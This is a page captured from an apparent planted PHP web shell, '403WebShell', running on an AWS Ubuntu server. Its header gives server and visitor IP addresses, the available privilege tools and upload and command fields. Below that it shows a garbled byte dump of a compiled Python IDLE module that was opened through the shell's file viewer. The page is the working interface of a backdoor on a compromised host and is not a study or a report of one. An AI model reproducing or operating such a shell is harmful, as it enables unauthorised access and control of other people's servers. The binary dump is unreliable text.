Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.10/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.10/idlelib/__pycache__/calltip_w.cpython-310.pyc
o

�9j��@s�dZddlmZmZmZmZddlmZdZdZ	dZ
dZdZd	Z
Gd
d�de�Zdd
�ZedkrIddlmZedddd�ddlmZee�dSdS)zvA call-tip window class for Tkinter/IDLE.

After tooltip.py, which uses ideas gleaned from PySol.
Used by calltip.py.
�)�Label�LEFT�SOLID�TclError)�TooltipBasez<<calltipwindow-hide>>)z<Key-Escape>z
<FocusOut>z<<calltipwindow-checkhide>>)z<KeyRelease>z<ButtonRelease>�d�calltipwindowregion_rightcsveZdZdZ�fdd�Zdd�Z�fdd�Z�fdd	�Zd
d�Zdd
d�Z	dd�Z
�fdd�Zdd�Zdd�Z
�ZS)�
CalltipWindowz+A call-tip widget for tkinter text widgets.csDtt|��|�d|_|_d|_|_|_d|_|_	d|_
dS)z}Create a call-tip; shown by showtip().

        text_widget: a Text widget with code for which call-tips are desired
        N)�superr	�__init__�label�text�	parenline�parencol�lastline�hideid�checkhideid�checkhide_after_id)�self�text_widget��	__class__��(/usr/lib/python3.10/idlelib/calltip_w.pyrs

zCalltipWindow.__init__cCs�t|j�d��d�d�}||jkr|j|jf}n|df}|j�d|�}|s7t|j�d��}d|d<d|d<|dd|d|dfS)z$Choose the position of the call-tip.�insert�.rz%d.%d���)�int�
anchor_widget�index�splitrr�bbox�list)r�curline�anchor_index�boxrrr�get_position#s
zCalltipWindow.get_positioncsLt|j�d��d�d�}||jkrdS||_|j�d�tt|���dS)z Reposition the window if needed.rrrN)	rr r!r"r�seer
r	�position_window)rr%rrrr*2s
zCalltipWindow.position_windowcs^||_|js	|jsdS|j�t|�tt|j�|��d��\|_	|_
tt|��
�|��dS)a_Show the call-tip, bind events which will close it and reposition it.

        text: the text to display in the call-tip
        parenleft: index of the opening parenthesis in the text widget
        parenright: index of the closing parenthesis in the text widget,
                    or the end of the line if there is no closing parenthesis
        Nr)r
�	tipwindowr �mark_set�
MARK_RIGHT�maprr!r"rrr
r	�showtip�_bind_events)rr
�	parenleft�
parenrightrrrr/;s	�zCalltipWindow.showtipc
Cs2t|j|jtddtd|jdd�|_|j��dS)zCreate the call-tip widget.z#ffffd0�blackr�font)r
�justify�
background�
foreground�relief�borderwidthr4N)rr+r
rrr r�pack�rrrr�showcontentsPs�zCalltipWindow.showcontentsNcCs�|jsdStt|j�d��d��\}}||jks*||jkr"||jks*|j�ddt	�r0|�
�dS|��|jdur@|j�
|j�|j�t|j�|_dS)z4Handle CHECK_HIDE_EVENT: call hidetip or reschedule.Nrr�>�break)r+r.rr r!r"rr�comparer-�hidetipr*r�after_cancel�after�CHECKHIDE_TIME�checkhide_event)r�eventr%�curcolrrrrDXs
�
�zCalltipWindow.checkhide_eventcCs|jsdS|��dS)z%Handle HIDE_EVENT by calling hidetip.Nr>)r+r@)rrErrr�
hide_eventsszCalltipWindow.hide_eventc	s�|jsdSz|j��Wn	tyYnwd|_d|_|_|_z|j�t	�Wn	ty3Ynwz|�
�WnttfyEYnwtt
|���dS)zHide the call-tip.N)r+r�destroyrrrrr �
mark_unsetr-�_unbind_events�
ValueErrorr
r	r@r;rrrr@{s(���zCalltipWindow.hidetipcCsh|j�t|j�|_tD]	}|j�t|�q|j�t|j�|j�t	|j
�|_tD]	}|j�t	|�q(dS)zBind event handlers.N)
r �bind�CHECKHIDE_EVENTrDr�CHECKHIDE_SEQUENCES�	event_addrBrC�
HIDE_EVENTrGr�HIDE_SEQUENCES�r�seqrrrr0�s���zCalltipWindow._bind_eventscCs`tD]	}|j�t|�q|j�t|j�d|_tD]	}|j�t|�q|j�t|j�d|_dS)zUnbind event handlers.N)	rNr �event_deleterM�unbindrrQrPrrRrrrrJ�s
zCalltipWindow._unbind_events�N)�__name__�
__module__�__qualname__�__doc__rr(r*r/r<rDrGr@r0rJ�
__classcell__rrrrr	s
	
r	cs�ddlm}m}m}m}||�}|�d�tt|���	d�dd��\}}|�d|d|df�||�}|j
||dd	�|�d
d�|��t
|���fdd
�}	�fdd�}
|�dd�|�dd�|�d|	�|�d|
�|��dS)Nr)�Toplevel�Textr�BOTHzTest call-tips�+rz
250x100+%d+%d��)�side�fill�expandrzstring.splitcs��ddd�dS)Nz(s='Hello world')r�end)r/�rE��calltiprr�calltip_show�sz%_calltip_window.<locals>.calltip_showcs���dSrV)r@rfrgrr�calltip_hide�sz%_calltip_window.<locals>.calltip_hidez<<calltip-show>>�(z<<calltip-hide>>�))�tkinterr\r]rr^�titler.r�geometryr"r:r�updater	rOrL�	focus_set)�parentr\r]rr^�top�x�yr
rirjrrgr�_calltip_window�s"
 rv�__main__)�mainz idlelib.idle_test.test_calltip_wrF)�	verbosity�exit)�runN)rZrmrrrr�idlelib.tooltiprrPrQrMrNrCr-r	rvrW�unittestrx�idlelib.idle_test.htestr{rrrr�<module>s$�

Youez - 2016 - github.com/yon3zu
LinuXploit